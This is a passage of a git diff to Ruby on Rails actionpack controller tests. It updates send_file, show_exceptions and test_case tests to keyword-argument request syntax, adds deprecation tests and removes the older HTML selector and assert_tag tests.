-
-
-  def test_nth_last_child
-    parse(%Q{<table><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # Last two elements.
-    select("tr:nth-last-child(-n+2)")
-    assert_equal 2, @matches.size
-    assert_equal "3", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-    # All old elements counting from last one.
-    select("tr:nth-last-child(odd)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-  end
-
-
-  def test_nth_of_type
-    parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # First two elements.
-    select("tr:nth-of-type(-n+2)")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-    # All old elements counting from last one.
-    select("tr:nth-last-of-type(odd)")
-    assert_equal 2, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    assert_equal "4", @matches[1].attributes["id"]
-  end
-
-
-  def test_first_and_last
-    parse(%Q{<table><thead></thead><tr id="1"></tr><tr id="2"></tr><tr id="3"></tr><tr id="4"></tr></table>})
-    # First child.
-    select("tr:first-child")
-    assert_equal 0, @matches.size
-    select(":first-child")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    # First of type.
-    select("tr:first-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    select("thead:first-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    select("div:first-of-type")
-    assert_equal 0, @matches.size
-    # Last child.
-    select("tr:last-child")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    # Last of type.
-    select("tr:last-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "4", @matches[0].attributes["id"]
-    select("thead:last-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    select("div:last-of-type")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_only_child_and_only_type_first_and_last
-    # Only child.
-    parse(%Q{<table><tr></tr></table>})
-    select("table:only-child")
-    assert_equal 0, @matches.size
-    select("tr:only-child")
-    assert_equal 1, @matches.size
-    assert_equal "tr", @matches[0].name
-    parse(%Q{<table><tr></tr><tr></tr></table>})
-    select("tr:only-child")
-    assert_equal 0, @matches.size
-    # Only of type.
-    parse(%Q{<table><thead></thead><tr></tr><tr></tr></table>})
-    select("thead:only-of-type")
-    assert_equal 1, @matches.size
-    assert_equal "thead", @matches[0].name
-    select("td:only-of-type")
-    assert_equal 0, @matches.size
-  end
-
-
-  def test_empty
-    parse(%Q{<table><tr></tr></table>})
-    select("table:empty")
-    assert_equal 0, @matches.size
-    select("tr:empty")
-    assert_equal 1, @matches.size
-    parse(%Q{<div> </div>})
-    select("div:empty")
-    assert_equal 1, @matches.size
-  end
-
-
-  def test_content
-    parse(%Q{<div> </div>})
-    select("div:content()")
-    assert_equal 1, @matches.size
-    parse(%Q{<div>something </div>})
-    select("div:content()")
-    assert_equal 0, @matches.size
-    select("div:content(something)")
-    assert_equal 1, @matches.size
-    select("div:content( 'something' )")
-    assert_equal 1, @matches.size
-    select("div:content( \"something\" )")
-    assert_equal 1, @matches.size
-    select("div:content(?)", "something")
-    assert_equal 1, @matches.size
-    select("div:content(?)", /something/)
-    assert_equal 1, @matches.size
-  end
-
-
-  #
-  # Test negation.
-  #
-
-
-  def test_element_negation
-    parse(%Q{<p></p><div></div>})
-    select("*")
-    assert_equal 2, @matches.size
-    select("*:not(p)")
-    assert_equal 1, @matches.size
-    assert_equal "div", @matches[0].name
-    select("*:not(div)")
-    assert_equal 1, @matches.size
-    assert_equal "p", @matches[0].name
-    select("*:not(span)")
-    assert_equal 2, @matches.size
-  end
-
-
-  def test_id_negation
-    parse(%Q{<p id="1"></p><p id="2"></p>})
-    select("p")
-    assert_equal 2, @matches.size
-    select(":not(#1)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select(":not(#2)")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-  end
-
-
-  def test_class_name_negation
-    parse(%Q{<p class="foo"></p><p class="bar"></p>})
-    select("p")
-    assert_equal 2, @matches.size
-    select(":not(.foo)")
-    assert_equal 1, @matches.size
-    assert_equal "bar", @matches[0].attributes["class"]
-    select(":not(.bar)")
-    assert_equal 1, @matches.size
-    assert_equal "foo", @matches[0].attributes["class"]
-  end
-
-
-  def test_attribute_negation
-    parse(%Q{<p title="foo"></p><p title="bar"></p>})
-    select("p")
-    assert_equal 2, @matches.size
-    select(":not([title=foo])")
-    assert_equal 1, @matches.size
-    assert_equal "bar", @matches[0].attributes["title"]
-    select(":not([title=bar])")
-    assert_equal 1, @matches.size
-    assert_equal "foo", @matches[0].attributes["title"]
-  end
-
-
-  def test_pseudo_class_negation
-    parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
-    select("p")
-    assert_equal 2, @matches.size
-    select("p:not(:first-child)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-    select("p:not(:nth-child(2))")
-    assert_equal 1, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-  end
-
-
-  def test_negation_details
-    parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
-    assert_raise(ArgumentError) { select(":not(") }
-    assert_raise(ArgumentError) { select(":not(:not())") }
-    select("p:not(#1):not(#3)")
-    assert_equal 1, @matches.size
-    assert_equal "2", @matches[0].attributes["id"]
-  end
-
-
-  def test_select_from_element
-    parse(%Q{<div><p id="1"></p><p id="2"></p></div>})
-    select("div")
-    @matches = @matches[0].select("p")
-    assert_equal 2, @matches.size
-    assert_equal "1", @matches[0].attributes["id"]
-    assert_equal "2", @matches[1].attributes["id"]
-  end
-
-
-protected
-
-  def parse(html)
-    @html = HTML::Document.new(html).root
-  end
-
-  def select(*selector)
-    @matches = HTML.selector(*selector).select(@html)
-  end
-
-end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 8ecc1c7d73..36c57ec9b2 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 
 module TestFileUtils
@@ -9,6 +8,7 @@ end
 
 class SendFileController < ActionController::Base
   include TestFileUtils
+  include ActionController::Testing
   layout "layouts/standard" # to make sure layouts don't interfere
 
   attr_writer :options
@@ -25,12 +25,13 @@ class SendFileController < ActionController::Base
   end
 end
 
+class SendFileWithActionControllerLive < SendFileController
+  include ActionController::Live
+end
+
 class SendFileTest < ActionController::TestCase
-  tests SendFileController
   include TestFileUtils
 
-  Mime::Type.register "image/png", :png unless defined? Mime::PNG
-
   def setup
     @controller = SendFileController.new
     @request = ActionController::TestRequest.new
@@ -144,7 +145,7 @@ class SendFileTest < ActionController::TestCase
     }
 
     @controller.headers = {}
-    assert !@controller.send(:send_file_headers!, options)
+    assert_raise(ArgumentError) { @controller.send(:send_file_headers!, options) }
   end
 
   def test_send_file_headers_guess_type_from_extension
@@ -196,4 +197,12 @@ class SendFileTest < ActionController::TestCase
       assert_equal 200, @response.status
     end
   end
+
+  def test_send_file_with_action_controller_live
+    @controller = SendFileWithActionControllerLive.new
+    @controller.options = { :content_type => "application/x-ruby" }
+
+    response = process('file')
+    assert_equal 200, response.status
+  end
 end
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
index ff23b22040..fba5ebba15 100644
--- a/actionpack/test/controller/show_exceptions_test.rb
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -32,7 +32,7 @@ module ShowExceptions
 
     test 'show diagnostics from a local ip if show_detailed_exceptions? is set to request.local?' do
       @app = ShowExceptionsController.action(:boom)
-      ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
+      ['127.0.0.1', '127.0.0.127', '127.12.1.1', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
         self.remote_addr = ip_address
         get '/'
         assert_match(/boom/, body)
@@ -58,13 +58,13 @@ module ShowExceptions
   class ShowExceptionsOverriddenTest < ActionDispatch::IntegrationTest
     test 'show error page' do
       @app = ShowExceptionsOverriddenController.action(:boom)
-      get '/', {'detailed' => '0'}
+      get '/', params: { 'detailed' => '0' }
       assert_equal "500 error fixture\n", body
     end
 
     test 'show diagnostics message' do
       @app = ShowExceptionsOverriddenController.action(:boom)
-      get '/', {'detailed' => '1'}
+      get '/', params: { 'detailed' => '1' }
       assert_match(/boom/, body)
     end
   end
@@ -72,7 +72,7 @@ module ShowExceptions
   class ShowExceptionsFormatsTest < ActionDispatch::IntegrationTest
     def test_render_json_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
-      get "/", {}, 'HTTP_ACCEPT' => 'application/json'
+      get "/", headers: { 'HTTP_ACCEPT' => 'application/json' }
       assert_response :internal_server_error
       assert_equal 'application/json', response.content_type.to_s
       assert_equal({ :status => '500', :error => 'Internal Server Error' }.to_json, response.body)
@@ -80,7 +80,7 @@ module ShowExceptions
 
     def test_render_xml_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
-      get "/", {}, 'HTTP_ACCEPT' => 'application/xml'
+      get "/", headers: { 'HTTP_ACCEPT' => 'application/xml' }
       assert_response :internal_server_error
       assert_equal 'application/xml', response.content_type.to_s
       assert_equal({ :status => '500', :error => 'Internal Server Error' }.to_xml, response.body)
@@ -88,7 +88,7 @@ module ShowExceptions
 
     def test_render_fallback_exception
       @app = ShowExceptionsOverriddenController.action(:boom)
-      get "/", {}, 'HTTP_ACCEPT' => 'text/csv'
+      get "/", headers: { 'HTTP_ACCEPT' => 'text/csv' }
       assert_response :internal_server_error
       assert_equal 'text/html', response.content_type.to_s
     end
@@ -101,7 +101,7 @@ module ShowExceptions
       @app.instance_variable_set(:@exceptions_app, nil)
       $stderr = StringIO.new
 
-      get '/', {}, 'HTTP_ACCEPT' => 'text/json'
+      get '/', headers: { 'HTTP_ACCEPT' => 'text/json' }
       assert_response :internal_server_error
       assert_equal 'text/plain', response.content_type.to_s
     ensure
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
index f75c604277..ca854040b7 100644
--- a/actionpack/test/controller/test_case_test.rb
+++ b/actionpack/test/controller/test_case_test.rb
@@ -1,60 +1,67 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
+require 'active_support/json/decoding'
+require 'rails/engine'
 
 class TestCaseTest < ActionController::TestCase
   class TestController < ActionController::Base
     def no_op
-      render :text => 'dummy'
+      render text: 'dummy'
     end
 
     def set_flash
       flash["test"] = ">#{flash["test"]}<"
+      render text: 'ignore me'
+    end
+
+    def delete_flash
+      flash.delete("test")
       render :text => 'ignore me'
     end
 
     def set_flash_now
       flash.now["test_now"] = ">#{flash["test_now"]}<"
-      render :text => 'ignore me'
+      render text: 'ignore me'
     end
 
     def set_session
       session['string'] = 'A wonder'
       session[:symbol] = 'it works'
-      render :text => 'Success'
+      render text: 'Success'
     end
 
     def reset_the_session
       reset_session
-      render :text => 'ignore me'
+      render text: 'ignore me'
     end
 
     def render_raw_post
       raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
-      render :text => request.raw_post
+      render text: request.raw_post
     end
 
     def render_body
-      render :text => request.body.read
+      render text: request.body.read
     end
 
     def test_params
-      render :text => params.inspect
+      render text: params.inspect
     end
 
     def test_uri
-      render :text => request.fullpath
+      render text: request.fullpath
     end
 
     def test_format
-      render :text => request.format
+      render text: request.format
     end
 
     def test_query_string
-      render :text => request.query_string
+      render text: request.query_string
     end
 
     def test_protocol
-      render :text => request.protocol
+      render text: request.protocol
     end
 
     def test_headers
@@ -62,7 +69,7 @@ class TestCaseTest < ActionController::TestCase
     end
 
     def test_html_output
-      render :text => <<HTML
+      render text: <<HTML
 <html>
   <body>
     <a href="/"><img src="/images/button.png" /></a>
@@ -84,7 +91,7 @@ HTML
 
     def test_xml_output
       response.content_type = "application/xml"
-      render :text => <<XML
+      render text: <<XML
 <?xml version="1.0" encoding="UTF-8"?>
 <root>
   <area>area is an empty tag in HTML, raising an error if not in xml mode</area>
@@ -93,15 +100,15 @@ XML
     end
 
     def test_only_one_param
-      render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
+      render text: (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
     end
 
     def test_remote_addr
-      render :text => (request.remote_addr || "not specified")
+      render text: (request.remote_addr || "not specified")
     end
 
     def test_file_upload
-      render :text => params[:file].size
+      render text: params[:file].size
     end
 
     def test_send_file
@@ -109,32 +116,40 @@ XML
     end
 
     def redirect_to_same_controller
-      redirect_to :controller => 'test', :action => 'test_uri', :id => 5
+      redirect_to controller: 'test', action: 'test_uri', id: 5
     end
 
     def redirect_to_different_controller
-      redirect_to :controller => 'fail', :id => 5
+      redirect_to controller: 'fail', id: 5
     end
 
     def create
-      head :created, :location => 'created resource'
+      head :created, location: 'created resource'
     end
 
     def delete_cookie
       cookies.delete("foo")
-      render :nothing => true
+      render nothing: true
     end
 
     def test_assigns
       @foo = "foo"
-      @foo_hash = {:foo => :bar}
-      render :nothing => true
+      @foo_hash = { foo: :bar }
+      render nothing: true
+    end
+
+    def test_without_body
+      render html: '<div class="foo"></div>'.html_safe
+    end
+
+    def test_with_body
+      render html: '<body class="foo"></body>'.html_safe
     end
 
     private
 
       def generate_url(opts)
-        url_for(opts.merge(:action => "test_uri"))
+        url_for(opts.merge(action: "test_uri"))
       end
   end
 
@@ -154,7 +169,7 @@ XML
   class ViewAssignsController < ActionController::Base
     def test_assigns
       @foo = "foo"
-      render :nothing => true
+      render nothing: true
     end
 
     def view_assigns
@@ -162,33 +177,87 @@ XML
     end
   end
 
+  class DefaultUrlOptionsCachingController < ActionController::Base
+    before_action { @dynamic_opt = 'opt' }
+
+    def test_url_options_reset
+      render text: url_for(params)
+    end
+
+    def default_url_options
+      if defined?(@dynamic_opt)
+        super.merge dynamic_opt: @dynamic_opt
+      else
+        super
+      end
+    end
+  end
+
+  def test_assert_select_without_body
+    get :test_without_body
+
+    assert_select 'body', 0
+    assert_select 'div.foo'
+  end
+
+  def test_assert_select_with_body
+    get :test_with_body
+
+    assert_select 'body.foo'
+  end
+
+  def test_url_options_reset
+    @controller = DefaultUrlOptionsCachingController.new
+    get :test_url_options_reset
+    assert_nil @request.params['dynamic_opt']
+    assert_match(/dynamic_opt=opt/, @response.body)
+  end
+
   def test_raw_post_handling
-    params = Hash[:page, {:name => 'page name'}, 'some key', 123]
-    post :render_raw_post, params.dup
+    params = Hash[:page, { name: 'page name' }, 'some key', 123]
+    post :render_raw_post, params: params.dup
 
     assert_equal params.to_query, @response.body
   end
 
   def test_body_stream
-    params = Hash[:page, { :name => 'page name' }, 'some key', 123]
+    params = Hash[:page, { name: 'page name' }, 'some key', 123]
+
+    post :render_body, params: params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_deprecated_body_stream
+    params = Hash[:page, { name: 'page name' }, 'some key', 123]
 
-    post :render_body, params.dup
+    assert_deprecated { post :render_body, params.dup }
 
     assert_equal params.to_query, @response.body
   end
 
   def test_document_body_and_params_with_post
-    post :test_params, :id => 1
-    assert_equal("{\"id\"=>\"1\", \"controller\"=>\"test_case_test/test\", \"action\"=>\"test_params\"}", @response.body)
+    post :test_params, params: { id: 1 }
+    assert_equal(%({"id"=>"1", "controller"=>"test_case_test/test", "action"=>"test_params"}), @response.body)
   end
 
   def test_document_body_with_post
-    post :render_body, "document body"
+    post :render_body, body: "document body"
+    assert_equal "document body", @response.body
+  end
+
+  def test_deprecated_document_body_with_post
+    assert_deprecated { post :render_body, "document body" }
     assert_equal "document body", @response.body
   end
 
   def test_document_body_with_put
-    put :render_body, "document body"
+    put :render_body, body: "document body"
+    assert_equal "document body", @response.body
+  end
+
+  def test_deprecated_document_body_with_put
+    assert_deprecated { put :render_body, "document body" }
     assert_equal "document body", @response.body
   end
 
@@ -197,25 +266,42 @@ XML
     assert_equal 200, @response.status
   end
 
-  def test_head_params_as_sting
-    assert_raise(NoMethodError) { head :test_params, "document body", :id => 10 }
-  end
-
   def test_process_without_flash
     process :set_flash
     assert_equal '><', flash['test']
   end
 
+  def test_deprecated_process_with_flash
+    assert_deprecated { process :set_flash, "GET", nil, nil, { "test" => "value" } }
+    assert_equal '>value<', flash['test']
+  end
+
   def test_process_with_flash
-    process :set_flash, "GET", nil, nil, { "test" => "value" }
+    process :set_flash,
+      method: "GET",
+      flash: { "test" => "value" }
     assert_equal '>value<', flash['test']
   end
 
+  def test_deprecated_process_with_flash_now
+    assert_deprecated { process :set_flash_now, "GET", nil, nil, { "test_now" => "value_now" } }
+    assert_equal '>value_now<', flash['test_now']
+  end
+
   def test_process_with_flash_now
-    process :set_flash_now, "GET", nil, nil, { "test_now" => "value_now" }
+    process :set_flash_now,
+      method: "GET",
+      flash: { "test_now" => "value_now" }
     assert_equal '>value_now<', flash['test_now']
   end
 
+  def test_process_delete_flash
+    process :set_flash
+    process :delete_flash
+    assert_empty flash
+    assert_empty session
+  end
+
   def test_process_with_session
     process :set_session
     assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
@@ -225,22 +311,48 @@ XML
   end
 
   def test_process_with_session_arg
-    process :no_op, "GET", nil, { 'string' => 'value1', :symbol => 'value2' }
+    assert_deprecated { process :no_op, "GET", nil, { 'string' => 'value1', symbol: 'value2' } }
     assert_equal 'value1', session['string']
     assert_equal 'value1', session[:string]
     assert_equal 'value2', session['symbol']
     assert_equal 'value2', session[:symbol]
   end
 
+  def test_process_with_session_kwarg
+    process :no_op, method: "GET", session: { 'string' => 'value1', symbol: 'value2' }
+    assert_equal 'value1', session['string']
+    assert_equal 'value1', session[:string]
+    assert_equal 'value2', session['symbol']
+    assert_equal 'value2', session[:symbol]
+  end
+
+  def test_deprecated_process_merges_session_arg
+    session[:foo] = 'bar'
+    assert_deprecated {
+      get :no_op, nil, { bar: 'baz' }
+    }
+    assert_equal 'bar', session[:foo]
+    assert_equal 'baz', session[:bar]
+  end
+
   def test_process_merges_session_arg
     session[:foo] = 'bar'
-    get :no_op, nil, { :bar => 'baz' }
+    get :no_op, session: { bar: 'baz' }
     assert_equal 'bar', session[:foo]
     assert_equal 'baz', session[:bar]
   end
 
+  def test_deprecated_merged_session_arg_is_retained_across_requests
+    assert_deprecated {
+      get :no_op, nil, { foo: 'bar' }
+    }
+    assert_equal 'bar', session[:foo]
+    get :no_op
+    assert_equal 'bar', session[:foo]
+  end
+
   def test_merged_session_arg_is_retained_across_requests
-    get :no_op, nil, { :foo => 'bar' }
+    get :no_op, session: { foo: 'bar' }
     assert_equal 'bar', session[:foo]
     get :no_op
     assert_equal 'bar', session[:foo]
@@ -248,7 +360,7 @@ XML
 
   def test_process_overwrites_existing_session_arg
     session[:foo] = 'bar'
-    get :no_op, nil, { :foo => 'baz' }
+    get :no_op, session: { foo: 'baz' }
     assert_equal 'baz', session[:foo]
   end
 
@@ -275,19 +387,40 @@ XML
     assert_equal "/test_case_test/test/test_uri", @response.body
   end
 
+  def test_process_with_symbol_method
+    process :test_uri, method: :get
+    assert_equal "/test_case_test/test/test_uri", @response.body
+  end
+
+  def test_deprecated_process_with_request_uri_with_params
+    assert_deprecated { process :test_uri, "GET", id: 7 }
+    assert_equal "/test_case_test/test/test_uri/7", @response.body
+  end
+
   def test_process_with_request_uri_with_params
-    process :test_uri, "GET", :id => 7
+    process :test_uri,
+      method: "GET",
+      params: { id: 7 }
+
     assert_equal "/test_case_test/test/test_uri/7", @response.body
   end
 
+  def test_deprecated_process_with_request_uri_with_params_with_explicit_uri
+    @request.env['PATH_INFO'] = "/explicit/uri"
+    assert_deprecated { process :test_uri, "GET", id: 7 }
+    assert_equal "/explicit/uri", @response.body
+  end
+
   def test_process_with_request_uri_with_params_with_explicit_uri
     @request.env['PATH_INFO'] = "/explicit/uri"
-    process :test_uri, "GET", :id => 7
+    process :test_uri, method: "GET", params: { id: 7 }
     assert_equal "/explicit/uri", @response.body
   end
 
   def test_process_with_query_string
-    process :test_query_string, "GET", :q => 'test'
+    process :test_query_string,
+      method: "GET",
+      params: { q: 'test' }
     assert_equal "q=test", @response.body
   end
 
@@ -299,9 +432,9 @@ XML
   end
 
   def test_multiple_calls
-    process :test_only_one_param, "GET", :left => true
+    process :test_only_one_param, method: "GET", params: { left: true }
     assert_equal "OK", @response.body
-    process :test_only_one_param, "GET", :right => true
+    process :test_only_one_param, method: "GET", params: { right: true }
     assert_equal "OK", @response.body
   end
 
@@ -316,7 +449,7 @@ XML
     assert_equal "foo", assigns["foo"]
 
     # but the assigned variable should not have its own keys stringified
-    expected_hash = { :foo => :bar }
+    expected_hash = { foo: :bar }
     assert_equal expected_hash, assigns(:foo_hash)
   end
 
@@ -329,168 +462,6 @@ XML
     assert_equal "bar", assigns[:bar]
   end
 
-  def test_assert_tag_tag
-    process :test_html_output
-
-    # there is a 'form' tag
-    assert_tag :tag => 'form'
-    # there is not an 'hr' tag
-    assert_no_tag :tag => 'hr'
-  end
-
-  def test_assert_tag_attributes
-    process :test_html_output
-
-    # there is a tag with an 'id' of 'bar'
-    assert_tag :attributes => { :id => "bar" }
-    # there is no tag with a 'name' of 'baz'
-    assert_no_tag :attributes => { :name => "baz" }
-  end
-
-  def test_assert_tag_parent
-    process :test_html_output
-
-    # there is a tag with a parent 'form' tag
-    assert_tag :parent => { :tag => "form" }
-    # there is no tag with a parent of 'input'
-    assert_no_tag :parent => { :tag => "input" }
-  end
-
-  def test_assert_tag_child
-    process :test_html_output
-
-    # there is a tag with a child 'input' tag
-    assert_tag :child => { :tag => "input" }
-    # there is no tag with a child 'strong' tag
-    assert_no_tag :child => { :tag => "strong" }
-  end
-
-  def test_assert_tag_ancestor
-    process :test_html_output
-
-    # there is a 'li' tag with an ancestor having an id of 'foo'
-    assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
-    # there is no tag of any kind with an ancestor having an href matching 'foo'
-    assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
-  end
-
-  def test_assert_tag_descendant
-    process :test_html_output
-
-    # there is a tag with a descendant 'li' tag
-    assert_tag :descendant => { :tag => "li" }
-    # there is no tag with a descendant 'html' tag
-    assert_no_tag :descendant => { :tag => "html" }
-  end
-
-  def test_assert_tag_sibling
-    process :test_html_output
-
-    # there is a tag with a sibling of class 'item'
-    assert_tag :sibling => { :attributes => { :class => "item" } }
-    # there is no tag with a sibling 'ul' tag
-    assert_no_tag :sibling => { :tag => "ul" }
-  end
-
-  def test_assert_tag_after
-    process :test_html_output
-
-    # there is a tag following a sibling 'div' tag
-    assert_tag :after => { :tag => "div" }
-    # there is no tag following a sibling tag with id 'bar'
-    assert_no_tag :after => { :attributes => { :id => "bar" } }
-  end
-
-  def test_assert_tag_before
-    process :test_html_output
-
-    # there is a tag preceding a tag with id 'bar'
-    assert_tag :before => { :attributes => { :id => "bar" } }
-    # there is no tag preceding a 'form' tag
-    assert_no_tag :before => { :tag => "form" }
-  end
-
-  def test_assert_tag_children_count
-    process :test_html_output
-
-    # there is a tag with 2 children
-    assert_tag :children => { :count => 2 }
-    # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
-    assert_tag :tag => 'ul', :children => { :count => 2 }
-    # there is no tag with 4 children
-    assert_no_tag :children => { :count => 4 }
-  end
-
-  def test_assert_tag_children_less_than
-    process :test_html_output
-
-    # there is a tag with less than 5 children
-    assert_tag :children => { :less_than => 5 }
-    # there is no 'ul' tag with less than 2 children
-    assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
-  end
-
-  def test_assert_tag_children_greater_than
-    process :test_html_output
-
-    # there is a 'body' tag with more than 1 children
-    assert_tag :children => { :greater_than => 1 }, :tag => "body"
-    # there is no tag with more than 10 children
-    assert_no_tag :children => { :greater_than => 10 }
-  end
-
-  def test_assert_tag_children_only
-    process :test_html_output
-
-    # there is a tag containing only one child with an id of 'foo'
-    assert_tag :children => { :count => 1,
-                              :only => { :attributes => { :id => "foo" } } }
-    # there is no tag containing only one 'li' child
-    assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
-  end
-
-  def test_assert_tag_content
-    process :test_html_output
-
-    # the output contains the string "Name"
-    assert_tag :content => /Name/
-    # the output does not contain the string "test"
-    assert_no_tag :content => /test/
-  end
-
-  def test_assert_tag_multiple
-    process :test_html_output
-
-    # there is a 'div', id='bar', with an immediate child whose 'action'
-    # attribute matches the regexp /somewhere/.
-    assert_tag :tag => "div", :attributes => { :id => "bar" },
-               :child => { :attributes => { :action => /somewhere/ } }
-
-    # there is no 'div', id='foo', with a 'ul' child with more than
-    # 2 "li" children.
-    assert_no_tag :tag => "div", :attributes => { :id => "foo" },
-                  :child => {
-                    :tag => "ul",
-                    :children => { :greater_than => 2,
-                                   :only => { :tag => "li" } } }
-  end
-
-  def test_assert_tag_children_without_content
-    process :test_html_output
-
-    # there is a form tag with an 'input' child which is a self closing tag
-    assert_tag :tag => "form",
-      :children => { :count => 1,
-        :only => { :tag => "input" } }
-
-    # the body tag has an 'a' child which in turn has an 'img' child
-    assert_tag :tag => "body",
-      :children => { :count => 1,
-        :only => { :tag => "a",
-          :children => { :count => 1,
-            :only => { :tag => "img" } } } }
-  end
-
   def test_should_not_impose_childless_html_tags_in_xml
     process :test_xml_output
 
@@ -505,39 +476,22 @@ XML
     assert err.empty?
   end
 
-  def test_assert_tag_attribute_matching
-    @response.body = '<input type="text" name="my_name">'
-    assert_tag :tag => 'input',
-                 :attributes => { :name => /my/, :type => 'text' }
-    assert_no_tag :tag => 'input',
-                 :attributes => { :name => 'my', :type => 'text' }
-    assert_no_tag :tag => 'input',
-                 :attributes => { :name => /^my$/, :type => 'text' }
-  end
-
-  def test_assert_tag_content_matching
-    @response.body = "<p>hello world</p>"
-    assert_tag :tag => "p", :content => "hello world"
-    assert_tag :tag => "p", :content => /hello/
-    assert_no_tag :tag => "p", :content => "hello"
-  end
-
   def test_assert_generates
-    assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
-    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
-    assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
-    assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
-    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
+    assert_generates 'controller/action/5', controller: 'controller', action: 'action', id: '5'
+    assert_generates 'controller/action/7', { id: "7" }, { controller: "controller", action: "action" }
+    assert_generates 'controller/action/5', { controller: "controller", action: "action", id: "5", name: "bob" }, {}, { name: "bob" }
+    assert_generates 'controller/action/7', { id: "7", name: "bob" }, { controller: "controller", action: "action" }, { name: "bob" }
+    assert_generates 'controller/action/7', { id: "7" }, { controller: "controller", action: "action", name: "bob" }, {}
   end
 
   def test_assert_routing
-    assert_routing 'content', :controller => 'content', :action => 'index'
+    assert_routing 'content', controller: 'content', action: 'index'
   end
 
   def test_assert_routing_with_method
     with_routing do |set|
       set.draw { resources(:content) }
-      assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
+      assert_routing({ method: 'post', path: 'content' }, { controller: 'content', action: 'create' })
     end
   end
 
@@ -549,29 +503,75 @@ XML
         end
       end
 
-      assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
+      assert_routing 'admin/user', controller: 'admin/user', action: 'index'
     end
   end
 
   def test_assert_routing_with_glob
     with_routing do |set|
       set.draw { get('*path' => "pages#show") }
-      assert_routing('/company/about', { :controller => 'pages', :action => 'show', :path => 'company/about' })
+      assert_routing('/company/about', { controller: 'pages', action: 'show', path: 'company/about' })
     end
   end
 
+  def test_deprecated_params_passing
+    assert_deprecated {
+      get :test_params, page: { name: "Page name", month: '4', year: '2004', day: '6' }
+    }
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {
+        'controller' => 'test_case_test/test', 'action' => 'test_params',
+        'page' => { 'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6' }
+      },
+      parsed_params
+    )
+  end
+
   def test_params_passing
-    get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
+    get :test_params, params: {
+      page: {
+        name: "Page name",
+        month: '4',
+        year: '2004',
+        day: '6'
+      }
+    }
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {
+        'controller' => 'test_case_test/test', 'action' => 'test_params',
+        'page' => { 'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6' }
+      },
+      parsed_params
+    )
+  end
+
+  def test_kwarg_params_passing_with_session_and_flash
+    get :test_params, params: {
+      page: {
+        name: "Page name",
+        month: '4',
+        year: '2004',
+        day: '6'
+      }
+    }, session: { 'foo' => 'bar' }, flash: { notice: 'created' }
+
     parsed_params = eval(@response.body)
     assert_equal(
       {'controller' => 'test_case_test/test', 'action' => 'test_params',
        'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
       parsed_params
     )
+
+    assert_equal 'bar', session[:foo]
+    assert_equal 'created', flash[:notice]
   end
 
   def test_params_passing_with_fixnums
-    get :test_params, :page => {:name => "Page name", :month => 4, :year => 2004, :day => 6}
+    get :test_params, params: {
+      page: { name: "Page name", month: 4, year: 2004, day: 6 }
+    }
     parsed_params = eval(@response.body)
     assert_equal(
